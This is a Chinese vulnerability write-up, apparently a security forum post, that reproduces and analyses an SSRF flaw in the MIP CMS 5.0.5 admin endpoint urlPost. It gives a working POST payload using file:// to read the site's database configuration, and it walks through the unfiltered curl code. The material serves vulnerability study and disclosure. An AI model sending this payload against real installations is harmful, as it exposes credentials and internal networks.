一、概述

在一个风和日丽的下午,无所事事的刷着CNVD漏洞分享平台,偶然间看到一个公布的CMS的SSRF漏洞;突然奇想,何不复现分析一波,于是故事开始辽。

MIP建站系统是一套免费开源的CMS建站系统,登录该系统后台,可利用SSRF漏洞读取其任意文件,攻击其内网。

二、复现

下载地址:https://mipclouds.oss-cn-beijing.aliyuncs.com/code/mipjz/mipjz-5.0.5.zip
受影响代码位置:app/setting/controller/ApiAdminDomainSettings.php,$api参数可控。

第一步,登陆该后台:

第二步,访问所受影响的代码文件:

http://192.168.10.226/index.php?s=/setting/ApiAdminDomainSettings/urlPost;
POST方法进行请求,payload:  
postAddress=file:///C:\phpStudy\PHPTutorial\WWW\app\database.php&url=test&id=test


Soeasy,成功读取到敏感文件。

三、分析

进行简单的漏洞分析。
根据漏洞定位代码文件:app/setting/controller/ApiAdminDomainSettings.php
受影响代码:

public function urlPost(Request $request) {
        $postAddress = input('post.postAddress');
        if (!$postAddress) {
            return jsonError('请先去设置推送的接口');
        }
        $api = trim($postAddress);
        if (strpos($api,'type=realtime') !== false || strpos($api,'type=batch') !== false) {
            if (!config('siteInfo')['guanfanghaoStatus']) {
                return jsonError('检测到您未开启熊掌号,请开启后再推送');
            }
        }
        $url = input('post.url');
        $id = input('post.id');
        if (!$url) {
            return jsonError('没有检测到你推送的页面地址');
        }   
        $urls[] = $url;
        $ch = curl_init();
        $options =  array(
            CURLOPT_URL => $api,
            CURLOPT_POST => true,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POSTFIELDS => implode("\n", $urls),
            CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
        );
        curl_setopt_array($ch, $options);
        $result = curl_exec($ch);

流程分析:

1、$ postAddress = input('post.postAddress');  
    //POST方法将$postAddress参数传入

2、$api = trim($postAddress);    
$options =  array(
            CURLOPT_URL => $api,
            CURLOPT_POST => true,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POSTFIELDS => implode("\n", $urls),
            CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
        );
        curl_setopt_array($ch, $options); 
    //赋予$api参数,一直至$ch,未进行任何过滤
3、$result = curl_exec($ch);    
    //最后执行

就是这么容易,SSRF漏洞分析小白级普及完成;疫情快快散去,我想出去嗨!

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖